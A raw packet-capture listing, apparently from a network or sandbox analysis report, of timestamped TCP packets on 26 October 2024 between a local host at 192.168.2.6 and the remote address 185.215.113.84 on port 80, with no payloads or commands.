Oct 26, 2024 07:27:11.560751915 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560765028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560789108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560802937 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560806036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560822964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560825109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560839891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560841084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560854912 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560858011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560868979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560873032 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560889959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560904026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560911894 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560935974 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560935020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560951948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560971022 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560975075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560987949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560992002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561007977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561013937 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561022997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561023951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561041117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561043978 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561053991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561058044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561085939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561126947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561131001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561146975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561168909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561177969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561182976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561194897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561211109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561225891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561233044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561242104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561249018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561249971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561259031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561275959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561286926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561301947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561316967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561319113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561331987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561337948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561357021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561357975 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561381102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561384916 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561397076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561399937 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561413050 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561419964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561435938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561435938 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561451912 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561454058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561469078 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561470985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561487913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561490059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561503887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561508894 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561520100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561522961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561541080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561551094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561564922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561589956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561598063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561613083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561635971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561655998 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561664104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561701059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561727047 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561743975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561758041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561765909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561765909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561784983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561800003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561814070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.561815023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561867952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.561989069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.562002897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.562026978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.562040091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.562051058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.562066078 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.562084913 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.562159061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.562175035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.562187910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.562199116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.562215090 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.562254906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.562258005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.562287092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.562298059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.562323093 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.562334061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.562370062 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.562401056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.562416077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.562441111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.562448978 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.562448978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.562493086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.562529087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.589265108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.589297056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.589312077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.589354992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.589375973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.589400053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.589431047 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.589483976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.589570999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.589592934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.589610100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.589611053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.589626074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.589629889 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.589653969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.589670897 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.589917898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.589942932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.589951038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.589978933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590008974 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590029001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590044975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590061903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590078115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590084076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590112925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590116024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590131998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590147018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590156078 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590162992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590173006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590187073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590198994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590215921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590233088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590254068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590276957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590291977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590306997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590316057 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590323925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590338945 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590338945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590357065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590363979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590373039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590387106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590388060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590404034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590413094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590414047 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590430021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590440035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590454102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590466022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590481043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590501070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590512991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590528011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590540886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590553999 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590557098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590563059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590574026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590583086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590589046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590595007 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590606928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590611935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590621948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590627909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590646029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590653896 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590670109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590683937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590704918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590718031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590720892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590737104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590740919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590754032 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590759039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590770006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590774059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590786934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590795040 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590802908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590816975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590817928 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590826035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590831041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590853930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590858936 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590878010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590879917 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590893030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590903997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590908051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590922117 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590924025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590933084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590939999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590951920 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590956926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.590981960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.590981960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591001987 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591065884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591089964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591105938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591106892 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591120005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591129065 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591137886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591139078 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591151953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591161013 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591169119 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591177940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591191053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591193914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591208935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591218948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591227055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591231108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591240883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591243982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591269016 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591278076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591284990 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591294050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591319084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591346979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591360092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591363907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591387033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591388941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591394901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591404915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591420889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591427088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591435909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591445923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591454983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591468096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591483116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591485023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591509104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591523886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591541052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591545105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591557026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591573000 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591583014 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591588020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591595888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591605902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591615915 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591624022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591634035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591640949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591648102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591656923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591658115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591681004 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591695070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591696024 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591718912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591734886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591737986 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591749907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591762066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591767073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591768026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591783047 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591787100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591806889 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591806889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591814995 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591824055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591840982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591844082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591864109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591867924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591882944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591896057 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591897011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591906071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591912985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591928959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591938019 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591938019 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591945887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591957092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591962099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.591969013 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.591989994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592000008 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592012882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592027903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592041969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592056990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592071056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592072010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592092991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592096090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592112064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592112064 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592127085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592138052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592142105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592149019 CEST	49991	80	192.168.2.6	185.215.113.84
